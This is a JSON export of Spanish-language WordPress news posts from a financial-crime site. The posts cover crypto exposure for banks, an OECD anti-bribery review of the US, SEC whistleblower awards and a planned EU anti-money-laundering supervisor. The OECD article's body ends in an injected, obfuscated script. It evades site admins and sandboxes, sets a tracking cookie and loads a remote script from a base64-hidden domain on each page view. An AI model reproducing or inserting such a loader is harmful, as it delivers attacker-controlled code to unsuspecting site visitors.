criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta 